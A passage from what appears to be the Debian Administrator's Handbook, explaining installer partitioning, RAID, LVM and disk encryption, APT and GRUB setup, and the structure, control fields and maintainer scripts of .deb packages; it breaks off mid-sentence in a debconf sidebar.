The first screen in the partitioning tool offers the choice of using an entire hard drive to create various partitions. For a (new) computer which will solely use Linux, this option is clearly the simplest, and you can choose the option “Guided - use entire disk”. If the computer has two hard drives for two operating systems, setting one drive for each is also a solution that can facilitate partitioning. In both of these cases, the next screen offers to choose the disk where Linux will be installed by selecting the corresponding entry (for example, “SCSI1 (0,0,0) (sda) - 12.9 GB ATA VBOX HARDDISK”). You then start guided partitioning.
Fig. 4.8. Disk to use for guided partitioning
Guided partitioning can also set up LVM logical volumes instead of partitions (see below). Since the remainder of the operation is the same, we will not go over the option “Guided - use entire disk and set up LVM” (encrypted or not).
In other cases, when Linux must work alongside other already existing partitions, you need to choose manual partitioning.
The guided partitioning tool offers three partitioning methods, which correspond to different usages.
Fig. 4.9. Guided partitioning
The first method is called “All files in one partition”. The entire Linux system tree is stored in a single filesystem, corresponding to the root /
directory. This simple and robust partitioning fits perfectly for personal or single-user systems. In fact, two partitions will be created: the first will house the complete system, the second the virtual memory (swap).
The second method, “Separate /home/
partition”, is similar, but splits the file hierarchy in two: one partition contains the Linux system (/
), and the second contains “home directories” (meaning user data, in files and subdirectories available under /home/
).
The last partitioning method, called “Separate /home
, /var
, and /tmp
partitions”, is appropriate for servers and multi-user systems. It divides the file tree into many partitions: in addition to the root (/
) and user accounts (/home/
) partitions, it also has partitions for server software data (/var/
), and temporary files (/tmp/
). These divisions have several advantages. Users can not lock up the server by consuming all available hard drive space (they can only fill up /tmp/
and /home/
). The daemon data (especially logs) can no longer clog up the rest of the system.
BACK TO BASICS Choosing a filesystem
A filesystem defines the way in which data is organized on the hard drive. Each existing filesystem has its merits and limitations. Some are more robust, others more effective: if you know your needs well, choosing the most appropriate filesystem is possible. Various comparisons have already been made; it seems that ReiserFS is particularly efficient for reading many small files; XFS, in turn, works faster with large files. Ext4, the default filesystem for Debian, is a good compromise, based on the three previous versions of filesystems historically used in Linux (ext, ext2 and ext3). Ext4 overcomes certain limitations of ext3 and is particularly appropriate for very large capacity hard drives. Another option would be to experiment with the very promising btrfs, which includes numerous features that require, to this day, the use of LVM and/or RAID.
A journalized filesystem (such as ext3, ext4, btrfs, reiserfs, or xfs) takes special measures to make it possible to return to a prior consistent state after an abrupt interruption without completely analyzing the entire disk (as was the case with the ext2 system). This functionality is carried out by filling in a journal that describes the operations to conduct prior to actually executing them. If an operation is interrupted, it will be possible to “replay” it from the journal. Conversely, if an interruption occurs during an update of the journal, the last requested change is simply ignored; the data being written could be lost, but since the data on the disk has not changed, they have remained coherent. This is nothing more nor less than a transactional mechanism applied to the filesystem.
After choosing the type of partition, the software calculates a suggestion, and describes it on the screen; the user can then modify it if needed. You can, in particular, choose another filesystem if the standard choice (ext4) isn't appropriate. In most cases, however, the proposed partitioning is reasonable and it can be accepted by selecting the “Finish partitioning and write changes to disk” entry.
Fig. 4.10. Validating partitioning
Manual partitioning allows greater flexibility, allowing the user to choose the purpose and size of each partition. Furthermore, this mode is unavoidable if you wish to use software RAID.
IN PRACTICE Shrinking a Windows partition
To install Debian alongside an existing operating system (Windows or other), you must have some available hard drive space that is not being used by the other system in order to be able to create the partitions dedicated to Debian. In most cases, this means shrinking a Windows partition and reusing the freed space.
The Debian installer allows this operation when using the manual mode for partitioning. You only need to choose the Windows partition and enter its new size (this works the same with both FAT and NTFS partitions).
The first screen displays the available disks, their partitions, and any possible free space that has not yet been partitioned. You can select each displayed element; pressing the Enter key then gives a list of possible actions.
You can erase all partitions on a disk by selecting it.
When selecting free space on a disk, you can manually create a new partition. You can also do this with guided partitioning, which is an interesting solution for a disk that already contains another operating system, but which you may wish to partition for Linux in a standard manner. See Secțiune 4.2.13.1, „Guided partitioning” for more details on guided partitioning.
BACK TO BASICS Mount point
The mount point is the directory tree that will house the contents of the filesystem on the selected partition. Thus, a partition mounted at
/home/
is traditionally intended to contain user data.When this directory is named “
/
”, it is known as the root of the file tree, and therefore the root of the partition that will actually host the Debian system.
BACK TO BASICS Virtual memory, swap
Virtual memory allows the Linux kernel, when lacking sufficient memory (RAM), to free a bit of storage by storing the parts of the RAM that have been inactive for some time on the swap partition of the hard disk.
To simulate the additional memory, Windows uses a swap file that is directly contained in a filesystem. Conversely, Linux uses a partition dedicated to this purpose, hence the term “swap partition”.
When choosing a partition, you can indicate the manner in which you are going to use it:
Some types of RAID allow the duplication of information stored on hard drives to prevent data loss in the event of a hardware problem affecting one of them. Level 1 RAID keeps a simple, identical copy (mirror) of a hard drive on another drive, while level 5 RAID splits redundant data over several disks, thus allowing the complete reconstruction of a failing drive.
We will only describe level 1 RAID, which is the simplest to implement. The first step involves creating two partitions of identical size located on two different hard drives, and to label them “physical volume for RAID”.
You must then choose “Configure software RAID” in the partitioning tool to combine these two partitions into a new virtual disk and select “Create MD device” in the configuration screen. You then need to answer a series of questions about this new device. The first question asks about the RAID level to use, which in our case will be “RAID1”. The second question asks about the number of active devices — two in our case, which is the number of partitions that need to be included in this MD device. The third question is about the number of spare devices — 0; we have not planned any additional disk to take over for a possible defective disk. The last question requires you to choose the partitions for the RAID device — these would be the two that we have set aside for this purpose (make sure you only select the partitions that explicitly mention “raid”).
Back to the main menu, a new virtual “RAID” disk appears. This disk is presented with a single partition which can not be deleted, but whose use we can choose (just like for any other partition).
For further details on RAID functions, please refer to Secțiune 12.1.1, „Software RAID”.
LVM allows you to create “virtual” partitions that span over several disks. The benefits are twofold: the size of the partitions are no longer limited by individual disks but by their cumulative volume, and you can resize existing partitions at any time, possibly after adding an additional disk when needed.
LVM uses a particular terminology: a virtual partition is a “logical volume”, which is part of a “volume group”, or an association of several “physical volumes”. Each of these terms in fact corresponds to a “real” partition (or a software RAID device).
This technique works in a very simple way: each volume, whether physical or logical, is split into blocks of the same size, which are made to correspond by LVM. The addition of a new disk will cause the creation of a new physical volume, and these new blocks can be associated to any volume group. All of the partitions in the volume group that is thus expanded will have additional space into which they can extend.
The partitioning tool configures LVM in several steps. First you must create on the existing disks the partitions that will be “physical volumes for LVM”. To activate LVM, you need to choose “Configure the Logical Volume Manager (LVM)”, then on the same configuration screen “Create a volume group”, to which you will associate the existing physical volumes. Finally, you can create logical volumes within this volume group. Note that the automatic partitioning system can perform all these steps automatically.
In the partitioning menu, each physical volume will appear as a disk with a single partition which can not be deleted, but that you can use as desired.
The usage of LVM is described in further detail in Secțiune 12.1.2, „LVM”.
To guarantee the confidentiality of your data, for instance in the event of the loss or theft of your computer or a hard drive, it is possible to encrypt the data on some partitions. This feature can be added underneath any filesystem, since, as for LVM, Linux (and more particularly the dm-crypt driver) uses the Device Mapper to create a virtual partition (whose content is protected) based on an underlying partition that will store the data in an encrypted form (thanks to LUKS, Linux Unified Key Setup, a standard format that enables the storage of encrypted data as well as meta-information that indicates the encryption algorithms used).
SECURITY Encrypted swap partition
When an encrypted partition is used, the encryption key is stored in memory (RAM). Since retrieving this key allows the decryption of the data, it is of utmost importance to avoid leaving a copy of this key that would be accessible to the possible thief of the computer or hard drive, or to a maintenance technician. This is however something that can easily occur with a laptop, since when hibernating the contents of RAM is stored on the swap partition. If this partition isn't encrypted, the thief may access the key and use it to decrypt the data from the encrypted partitions. This is why, when you use encrypted partitions, it is imperative to also encrypt the swap partition!
The Debian installer will warn the user if they try to make an encrypted partition while the swap partition isn't encrypted.
To create an encrypted partition, you must first assign an available partition for this purpose. To do so, select a partition and indicate that it is to be used as a “physical volume for encryption”. After partitioning the disk containing the physical volume to be made, choose “Configure encrypted volumes”. The software will then propose to initialize the physical volume with random data (making the localization of the real data more difficult), and will ask you to enter an “encryption passphrase”, which you will have to enter every time you boot your computer in order to access the content of the encrypted partition. Once this step has been completed, and you have returned to the partitioning tool menu, a new partition will be available in an “encrypted volume”, which you can then configure just like any other partition. In most cases, this partition is used as a physical volume for LVM so as to protect several partitions (LVM logical volumes) with the same encryption key, including the swap partition (see sidebar SECURITY Encrypted swap partition).
This step, which doesn't require any user interaction, installs the Debian “base system” packages. This includes the dpkg and apt tools, which manage Debian packages, as well as the utilities necessary to boot the system and start using it.
Fig. 4.11. Installation of the base system
In order to be able to install additional software, APT needs to be configured and told where to find Debian packages. This step is as automated as possible. It starts with a question asking if it must use a network source for packages, or if it should only look for packages on the CD-ROM.
NOTE Debian CD-ROM in the drive
If the installer detects a Debian installation disk in the CD/DVD reader, it is not necessary to configure APT to go looking for packages on the network: APT is automatically configured to read packages from a removable media drive. If the disk is part of a set, the software will offer to “explore” other disks in order to reference all of the packages stored on them.
If getting packages from the network is requested, the next two questions allow to choose a server from which to download these packages, by choosing first a country, then a mirror available in that country (a mirror is a public server hosting copies of all the files of the Debian master archive).
Fig. 4.12. Selecting a Debian mirror
Finally, the program proposes to use an HTTP proxy. If there is no proxy, Internet access will be direct. If you type http://proxy.falcot.com:3128
, APT will use the Falcot proxy/cache, a “Squid” program. You can find these settings by checking the configurations of a web browser on another machine connected to the same network.
The files Packages.gz
and Sources.gz
are then automatically downloaded to update the list of packages recognized by APT.
BACK TO BASICS HTTP proxy
An HTTP proxy is a server that forwards an HTTP request for network users. It sometimes helps to speed up downloads by keeping a copy of files that have been transferred through it (we then speak of proxy/cache). In some cases, it is the only means of accessing an external web server; in such cases it is essential to answer the corresponding question during installation for the program to be able to download the Debian packages through it.
Squid is the name of the server software used by Falcot Corp to offer this service.
The Debian system contains a package called popularity-contest, whose purpose is to compile package usage statistics. Each week, this program collects information on the packages installed and those used recently, and anonymously sends this information to the Debian project servers. The project can then use this information to determine the relative importance of each package, which influences the priority that will be granted to them. In particular, the most “popular” packages will be included in the installation CD-ROM, which will facilitate their access for users who do not wish to download them or to purchase a complete set.
This package is only activated on demand, out of respect for the confidentiality of users' usage.
The following step allows you to choose the purpose of the machine in very broad terms; the ten suggested tasks correspond to lists of packages to be installed. The list of the packages that will actually be installed will be fine-tuned and completed later on, but this provides a good starting point in a simple manner.
Some packages are also automatically installed according to the hardware detected (thanks to the program discover-pkginstall from the discover package). For instance, if a VirtualBox virtual machine is detected, the program will install the virtualbox-guest-dkms package, allowing for better integration of the virtual machine with the host system.
Fig. 4.13. Task choices
The bootloader is the first program started by the BIOS. This program loads the Linux kernel into memory and then executes it. It often offers a menu that allows the user to choose the kernel to load and/or the operating system to boot.
BEWARE Bootloader and dual boot
This phase in the Debian installation process detects the operating systems that are already installed on the computer, and automatically adds corresponding entries in the boot menu, but not all installation programs do this.
In particular, if you install (or reinstall) Windows thereafter, the bootloader will be erased. Debian will still be on the hard drive, but will no longer be accessible from the boot menu. You would then have to boot the Debian installation system in
rescue
mode to set up a less exclusive bootloader. This operation is described in detail in the installation manual.
By default, the menu proposed by GRUB contains all the installed Linux kernels, as well as any other operating systems that were detected. This is why you should accept the offer to install it in the Master Boot Record. Since keeping older kernel versions preserves the ability to boot the same system if the most recently installed kernel is defective or poorly adapted to the hardware, it often makes sense to keep a few older kernel versions installed.
GRUB is the default bootloader installed by Debian thanks to its technical superiority: it works with most filesystems and therefore doesn't require an update after each installation of a new kernel, since it reads its configuration during boot and finds the exact position of the new kernel. Version 1 of GRUB (now known as “Grub Legacy”) couldn't handle all combinations of LVM and software RAID; version 2, installed by default, is more complete. There may still be situations where it is more recommendable to install LILO (another bootloader); the installer will suggest it automatically.
For more information on configuring GRUB, please refer to Secțiune 8.8.3, „GRUB 2 Configuration”.
BEWARE Bootloaders and architectures
LILO and GRUB, which are mentioned in this chapter, are bootloaders for i386 and amd64 architectures. If you install Debian on another architecture, you will need to use another bootloader. Among others, we can cite yaboot or quik for powerpc, silo for sparc, aboot for alpha, arcboot for mips.
If you activated the task “Debian desktop environment” without any explicit desktop choice (or with the “GNOME” choice), the computer will display the gdm3 login manager.
Fig. 4.14. First boot
The user that has already been created can then log in and begin working immediately.
The installed packages correspond to the profiles selected during installation, but not necessarily to the use that will actually be made of the machine. As such, you might want to use a package management tool to refine the selection of installed packages. The two most frequently used tools (which are installed if the “Debian desktop environment” profile was chosen) are apt (accessible from the command line) and synaptic (“Synaptic Package Manager” in the menus).
To facilitate the installation of coherent groups of programs, Debian creates “tasks” that are dedicated to specific uses (mail server, file server, etc.). You already had the opportunity to select them during installation, and you can access them again thanks to package management tools such as aptitude (the tasks are listed in a distinct section) and synaptic (through the menu Edit → Mark Packages by Task…).
Aptitude is an interface to APT in full-screen text mode. It allows the user to browse the list of available packages according to various categories (installed or not-installed packages, by task, by section, etc.), and to view all of the information available on each of them (dependencies, conflicts, description, etc.). Each package can be marked “install” (to be installed, + key) or “remove” (to be removed, - key). All of these operations will be conducted simultaneously once you've confirmed them by pressing the g key (“g” for “go!”). If you have forgotten some programs, no worries; you will be able to run aptitude again once the initial installation has been completed.
TIP Debian thinks of speakers of non-English languages
Several tasks are dedicated to the localization of the system in other languages beyond English. They include translated documentation, dictionaries, and various other packages useful for speakers of different languages. The appropriate task is automatically selected if a non-English language was chosen during installation.
CULTURE dselect, the old interface to install packages
Before aptitude, the standard program to select packages to be installed was dselect, the old graphical interface associated with dpkg. Being a difficult program for beginners to use, it is not recommended.
Of course, it is possible not to select any task to be installed. In this case, you can manually install the desired software with the apt-get or aptitude command (which are both accessible from the command line).
VOCABULARY Package dependencies, conflicts
In the Debian packaging lingo, a “dependency” is another package necessary for the proper functioning of the package in question. Conversely, a “conflict” is a package that can not be installed side-by-side with another.
These concepts are discussed in greater detail in Cap. 5, Packaging System: Tools and Fundamental Principles.
A first aptitude safe-upgrade (a command used to automatically update installed programs) is generally required, especially for possible security updates issued since the release of the latest Debian stable version. These updates may involve some additional questions through debconf, the standard Debian configuration tool. For further information on these updates conducted by aptitude, please refer to Secțiune 6.2.3, „System Upgrade”.
As a Debian system administrator, you will routinely handle .deb
packages, since they contain consistent functional units (applications, documentation, etc.), whose installation and maintenance they facilitate. It is therefore a good idea to know what they are and how to use them.
This chapter describes the structure and contents of “binary” and “source” packages. The former are .deb
files, directly usable by dpkg, while the latter contain the source code, as well as instructions for building binary packages.
The Debian package format is designed so that its content may be extracted on any Unix system that has the classic commands ar, tar, and gzip (sometimes xz or bzip2). This seemingly trivial property is important for portability and disaster recovery.
Imagine, for example, that you mistakenly deleted the dpkg program, and that you could thus no longer install Debian packages. dpkg being a Debian package itself, it would seem your system would be done for... Fortunately, you know the format of a package and can therefore download the .deb
file of the dpkg package and install it manually (see sidebar TOOLS dpkg, APT and ar). If by some misfortune one or more of the programs ar, tar or gzip/xz/bzip2 have disappeared, you will only need to copy the missing program from another system (since each of these operates in a completely autonomous manner, without dependencies, a simple copy will suffice). If your system suffered some even more outrageous fortune, and even these don't work (maybe the deepest system libraries are missing?), you should try the static version of busybox (provided in the busybox-static package), which is even more self-contained, and provides subcommands such as busybox ar, busybox tar and busybox gunzip.
TOOLS dpkg, APT and ar
dpkg is the program that handles
.deb
files, notably extracting, analyzing, and unpacking them.APT is a group of programs that allows the execution of higher-level modifications to the system: installing or removing a package (while keeping dependencies satisfied), updating the system, listing the available packages, etc.
As for the ar program, it allows handling files of the same name: ar t
archive
displays the list of files contained in such an archive, ar xarchive
extracts the files from the archive into the current working directory, ar darchive
file
deletes a file from the archive, etc. Its man page (ar(1)) documents all its other features. ar is a very rudimentary tool that a Unix administrator would only use on rare occasions, but admins routinely use tar, a more evolved archive and file management program. This is why it is easy to restore dpkg in the event of an erroneous deletion. You would only have to download the Debian package and extract the content from thedata.tar.gz
archive in the system's root (/
):#
ar x dpkg_1.17.23_amd64.deb
#
tar -C / -p -xzf data.tar.gz
BACK TO BASICS Man page notation
It can be confusing for beginners to find references to “ar(1)” in the literature. This is generally a convenient means of referring to the man page entitled
ar
in section 1.Sometimes this notation is also used to remove ambiguities, for example to distinguish between the printf command that can also be indicated by printf(1) and the
printf
function in the C programming language, which can also be referred to as printf(3).Cap. 7, Solving Problems and Finding Relevant Information discusses manual pages in further detail (see Secțiune 7.1.1, „Manual Pages”).
Have a look at the content of a .deb
file:
$
ar t dpkg_1.17.23_amd64.deb
debian-binary
control.tar.gz
data.tar.gz
$
ar x dpkg_1.17.23_amd64.deb
$
ls
control.tar.gz data.tar.gz debian-binary dpkg_1.17.23_amd64.deb
$
tar tzf data.tar.gz | head -n 15
./
./var/
./var/lib/
./var/lib/dpkg/
./var/lib/dpkg/parts/
./var/lib/dpkg/info/
./var/lib/dpkg/alternatives/
./var/lib/dpkg/updates/
./etc/
./etc/logrotate.d/
./etc/logrotate.d/dpkg
./etc/dpkg/
./etc/dpkg/dpkg.cfg.d/
./etc/dpkg/dpkg.cfg
./etc/alternatives/
$
tar tzf control.tar.gz
./
./conffiles
./postinst
./md5sums
./prerm
./preinst
./control
./postrm
$
cat debian-binary
2.0
As you can see, the ar archive of a Debian package is comprised of three files:
debian-binary
. This is a text file which simply indicates the version of the .deb
file used (in 2015: version 2.0). control.tar.gz
. This archive file contains all of the available meta-information, like the name and version of the package. Some of this meta-information allows package management tools to determine if it is possible to install or uninstall it, for example according to the list of packages already on the machine. data.tar.gz
. This archive contains all of the files to be extracted from the package; this is where the executable files, documentation, etc., are all stored. Some packages may use other compression formats, in which case the file will be named differently (data.tar.bz2
for bzip2, data.tar.xz
for XZ). The Debian package is not only an archive of files intended for installation. It is part of a larger whole, and it describes its relationship with other Debian packages (dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, removal, upgrades). These data are used by the package management tools but are not part of the packaged software; they are, within the package, what is called its “meta-information” (information about other information).
This file uses a structure similar to email headers (as defined by RFC 2822). For example, for apt, the control
file looks like the following:
$
apt-cache show apt
Package: apt
Version: 1.0.9.6
Installed-Size: 3788
Maintainer: APT Development Team <deity@lists.debian.org>
Architecture: amd64
Replaces: manpages-it (<< 2.80-4~), manpages-pl (<< 20060617-3~), openjdk-6-jdk (<< 6b24-1.11-0ubuntu1~), sun-java5-jdk (>> 0), sun-java6-jdk (>> 0)
Depends: libapt-pkg4.12 (>= 1.0.9.6), libc6 (>= 2.15), libgcc1 (>= 1:4.1.1), libstdc++6 (>= 4.9), debian-archive-keyring, gnupg
Suggests: aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), apt-doc, python-apt
Conflicts: python-apt (<< 0.7.93.2~)
Breaks: manpages-it (<< 2.80-4~), manpages-pl (<< 20060617-3~), openjdk-6-jdk (<< 6b24-1.11-0ubuntu1~), sun-java5-jdk (>> 0), sun-java6-jdk (>> 0)
Description-en: commandline package manager
This package provides commandline tools for searching and
managing as well as querying information about packages
as a low-level access to all features of the libapt-pkg library.
.
These include:
* apt-get for retrieval of packages and information about them
from authenticated sources and for installation, upgrade and
removal of packages together with their dependencies
* apt-cache for querying available information about installed
as well as installable packages
* apt-cdrom to use removable media as a source for packages
* apt-config as an interface to the configuration settings
* apt-key as an interface to manage authentication keys
Description-md5: 9fb97a88cb7383934ef963352b53b4a7
Tag: admin::package-management, devel::lang:ruby, hardware::storage,
hardware::storage:cd, implemented-in::c++, implemented-in::perl,
implemented-in::ruby, interface::commandline, network::client,
protocol::ftp, protocol::http, protocol::ipv6, role::program,
role::shared-lib, scope::application, scope::utility, sound::player,
suite::debian, use::downloading, use::organizing, use::searching,
works-with::audio, works-with::software:package, works-with::text
Section: admin
Priority: important
Filename: pool/main/a/apt/apt_1.0.9.6_amd64.deb
Size: 1107560
MD5sum: a325ccb14e69fef2c50da54e035a4df4
SHA1: 635d09fcb600ec12810e3136d51e696bcfa636a6
SHA256: 371a559ce741394b59dbc6460470a9399be5245356a9183bbeea0f89ecaabb03
BACK TO BASICS RFC — Internet standards
RFC is the abbreviation of “Request For Comments”. An RFC is generally a technical document that describes what will become an Internet standard. Before becoming standardized and frozen, these standards are submitted for public review (hence their name). The IETF (Internet Engineering Task Force) decides on the evolution of the status of these documents (proposed standard, draft standard, or standard).
RFC 2026 defines the process for standardization of Internet protocols.
The dependencies are defined in the Depends
field in the package header. This is a list of conditions to be met for the package to work correctly — this information is used by tools such as apt in order to install the required libraries, in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency, it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:
2.6.1
” is not equal to “2.6.1-1
”); In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends
field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.
The dependencies system is a good mechanism for guaranteeing the operation of a program, but it has another use with “meta-packages”. These are empty packages that only describe dependencies. They facilitate the installation of a consistent group of programs preselected by the meta-package maintainer; as such, apt install meta-package
will automatically install all of these programs using the meta-package's dependencies. The gnome, kde-full and linux-image-amd64 packages are examples of meta-packages.
DEBIAN POLICY
Pre-Depends
, a more demandingDepends
“Pre-dependencies”, which are listed in the “
Pre-Depends
” field in the package headers, complete the normal dependencies; their syntax is identical. A normal dependency indicates that the package in question must be unpacked and configured before configuration of the package declaring the dependency. A pre-dependency stipulates that the package in question must be unpacked and configured before execution of the pre-installation script of the package declaring the pre-dependency, that is before its installation.A pre-dependency is very demanding for apt, because it adds a strict constraint on the ordering of the packages to install. As such, pre-dependencies are discouraged unless absolutely necessary. It is even recommended to consult other developers on
<debian-devel@lists.debian.org>
before adding a pre-dependency. It is generally possible to find another solution as a work-around.
DEBIAN POLICY
Recommends
,Suggests
, andEnhances
fieldsThe
Recommends
andSuggests
fields describe dependencies that are not compulsory. The “recommended” dependencies, the most important, considerably improve the functionality offered by the package but are not indispensable to its operation. The “suggested” dependencies, of secondary importance, indicate that certain packages may complement and increase their respective utility, but it is perfectly reasonable to install one without the others.You should always install the “recommended” packages, unless you know exactly why you do not need them. Conversely, it is not necessary to install “suggested” packages unless you know why you need them.
The
Enhances
field also describes a suggestion, but in a different context. It is indeed located in the suggested package, and not in the package that benefits from the suggestion. Its interest lies in that it is possible to add a suggestion without having to modify the package that is concerned. Thus, all add-ons, plug-ins, and other extensions of a program can then appear in the list of suggestions related to the software. Although it has existed for several years, this last field is still largely ignored by programs such as apt or synaptic. Its purpose is for a suggestion made by theEnhances
field to appear to the user in addition to the traditional suggestions — found in theSuggests
field.
The Conflicts
field indicates when a package cannot be installed simultaneously with another. The most common reasons for this are that both packages include a file of the same name, or provide the same service on the same TCP port, or would hinder each other's operation.
dpkg will refuse to install a package if it triggers a conflict with an already installed package, except if the new package specifies that it will “replace” the installed package, in which case dpkg will choose to replace the old package with the new one. apt always follows your instructions: if you choose to install a new package, it will automatically offer to uninstall the package that poses a problem.
The Breaks
field has an effect similar to that of the Conflicts
field, but with a special meaning. It signals that the installation of a package will “break” another package (or particular versions of it). In general, this incompatibility between two packages is transitory, and the Breaks
relationship specifically refers to the incompatible versions.
dpkg will refuse to install a package that breaks an already installed package, and apt will try to resolve the problem by updating the package that would be broken to a newer version (which is assumed to be fixed and, thus, compatible again).
This type of situation may occur in the case of updates without backwards compatibility: this is the case if the new version no longer functions with the older version, and causes a malfunction in another program without making special provisions. The Breaks
field prevents the user from running into these problems.
This field introduces the very interesting concept of a “virtual package”. It has many roles, but two are of particular importance. The first role consists in using a virtual package to associate a generic service with it (the package “provides” the service). The second indicates that a package completely replaces another, and that for this purpose it can also satisfy the dependencies that the other would satisfy. It is thus possible to create a substitution package without having to use the same package name.
VOCABULARY Meta-package and virtual package
It is essential to clearly distinguish meta-packages from virtual packages. The former are real packages (including real
.deb
files), whose only purpose is to express dependencies.Virtual packages, however, do not exist physically; they are only a means of identifying real packages based on common, logical criteria (service provided, compatibility with a standard program or a pre-existing package, etc.).
Let us discuss the first case in greater detail with an example: all mail servers, such as postfix or sendmail are said to “provide” the mail-transport-agent virtual package. Thus, any package that needs this service to be functional (e.g. a mailing list manager, such as smartlist or sympa) simply states in its dependencies that it requires a mail-transport-agent instead of specifying a large yet incomplete list of possible solutions (e.g. postfix | sendmail | exim4 | …). Furthermore, it is useless to install two mail servers on the same machine, which is why each of these packages declares a conflict with the mail-transport-agent virtual package. A conflict between a package and itself is ignored by the system, but this technique will prohibit the installation of two mail servers side by side.
DEBIAN POLICY List of virtual packages
For virtual packages to be useful, everyone must agree on their name. This is why they are standardized in the Debian Policy. The list includes among others mail-transport-agent for mail servers, c-compiler for C programming language compilers, www-browser for web browsers, httpd for web servers, ftp-server for FTP servers, x-terminal-emulator for terminal emulators in graphical mode (xterm), and x-window-manager for window managers.
The full list can be found on the Web.
The Provides
field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.20 present in Jessie). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl
so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.
Fig. 5.1. Use of a Provides
field in order to not break dependencies
This feature is very useful, since it is never possible to anticipate the vagaries of development, and it is necessary to be able to adjust to renaming, and other automatic replacement, of obsolete software.
BACK TO BASICS Perl, a programming language
Perl (Practical Extraction and Report Language) is a very popular programming language. It has many ready-to-use modules that cover a vast spectrum of applications, and that are distributed by the CPAN (Comprehensive Perl Archive Network) servers, an exhaustive network of Perl packages.
Since it is an interpreted language, a program written in Perl does not require compilation prior to execution. This is why they are called “Perl scripts”.
Virtual packages used to suffer from some limitations, the most significant of which was the absence of a version number. To return to the previous example, a dependency such as Depends: libdigest-md5-perl (>= 1.6)
, despite the presence of Perl 5.10, would never be considered as satisfied by the packaging system — while in fact it most likely is satisfied. Unaware of this, the package system chose the least risky option, assuming that the versions do not match.
This limitation has been lifted in dpkg 1.17.11, and is no longer relevant in Jessie. Packages can assign a version to the virtual packages they provide with a dependency such as Provides: libdigest-md5-perl (= 1.8)
.
The Replaces
field indicates that the package contains files that are also present in another package, but that the package is legitimately entitled to replace them. Without this specification, dpkg fails, stating that it can not overwrite the files of another package (technically, it is possible to force it to do so with the --force-overwrite
option, but that is not considered standard operation). This allows identification of potential problems and requires the maintainer to study the matter prior to choosing whether to add such a field.
The use of this field is justified when package names change or when a package is included in another. This also happens when the maintainer decides to distribute files differently among various binary packages produced from the same source package: a replaced file no longer belongs to the old package, but only to the new one.
If all of the files in an installed package have been replaced, the package is considered to be removed. Finally, this field also encourages dpkg to remove the replaced package where there is a conflict.
GOING FURTHER The
Tag
fieldIn the apt example above, we can see the presence of a field that we have not yet described, the
Tag
field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who are repelled by aptitude's search criteria, the following website allows navigation of the tag database:
In addition to the control
file, the control.tar.gz
archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).
GOING FURTHER dpkg's database
All of the configuration scripts for installed packages are stored in the
/var/lib/dpkg/info/
directory, in the form of a file prefixed with the package's name. This directory also includes a file with the.list
extension for each package, containing the list of files that belong to that package.The
/var/lib/dpkg/status
file contains a series of data blocks (in the format of the famous mail headers, RFC 2822) describing the status of each package. The information from thecontrol
file of the installed packages is also replicated there.
In general, the preinst
script is executed prior to installation of the package, while the postinst
follows it. Likewise, prerm
is invoked before removal of a package and postrm
afterwards. An update of a package is equivalent to removal of the previous version and installation of the new one. It is not possible to describe in detail all the possible scenarios here, but we will discuss the most common two: an installation/update and a removal.
CAUTION Symbolic names of the scripts
The sequences described in this section call configuration scripts by specific names, such as old-prerm or new-postinst. They are, respectively, the prerm script contained in the old version of the package (installed before the update) and the postinst script contained in the new version (installed by the update).
TIP State diagrams
Manoj Srivastava made these diagrams explaining how the configuration scripts are called by dpkg. Similar diagrams have also been developed by the Debian Women project; they are a bit simpler to understand, but less complete.
Here is what happens during an installation (or an update):
new-version
. old-version
; for a first installation, it executes new-preinst install. It may add the old version in the last parameter, if the package has already been installed and removed since (but not purged, the configuration files having been retained). new-version
. last-version-configured
. Here is what happens during a package removal:
postrm
, are removed. If the user has not used the “purge” option, the process stops here. *.dpkg-tmp
, *.dpkg-old
, *.dpkg-new
) and temporary files; dpkg then executes postrm purge. VOCABULARY Purge, a complete removal
When a Debian package is removed, the configuration files are retained in order to facilitate possible re-installation. Likewise, the data generated by a daemon (such as the content of an LDAP server directory, or the content of a database for an SQL server) are usually retained.
To remove all data associated with a package, it is necessary to “purge” the package with the command, dpkg -P
package
, apt-get remove --purgepackage
or aptitude purgepackage
.Given the definitive nature of such data removals, a purge should not be taken lightly.
The four scripts detailed above are complemented by a config
script, provided by packages using debconf to acquire information from the user for configuration. During installation, this script defines in detail the questions asked by debconf. The responses are recorded in the debconf database for future reference. The script is generally executed by apt prior to installing packages one by one in order to group all the questions and ask them all to the user at the beginning of the process. The pre- and post-installation scripts can then use this information to operate according to the user's wishes.
TOOL debconf
debconf was created to resolve a recurring problem in Debian. All Debian packages unable to function without a minimum of configuration used to ask questions with calls to the echo and read commands in
postinst
shell scripts (and other similar scripts). But this also means that during a large installation or update the user must stay with their computer to respond to various questions that may arise at any time. These manual interactions have now been almost entirely dispensed with, thanks to the debconf tool.debconf has many interesting features: it requires the developer to specify user interaction; it allows localization of all the strings displayed to users (all translations are stored in the
templates
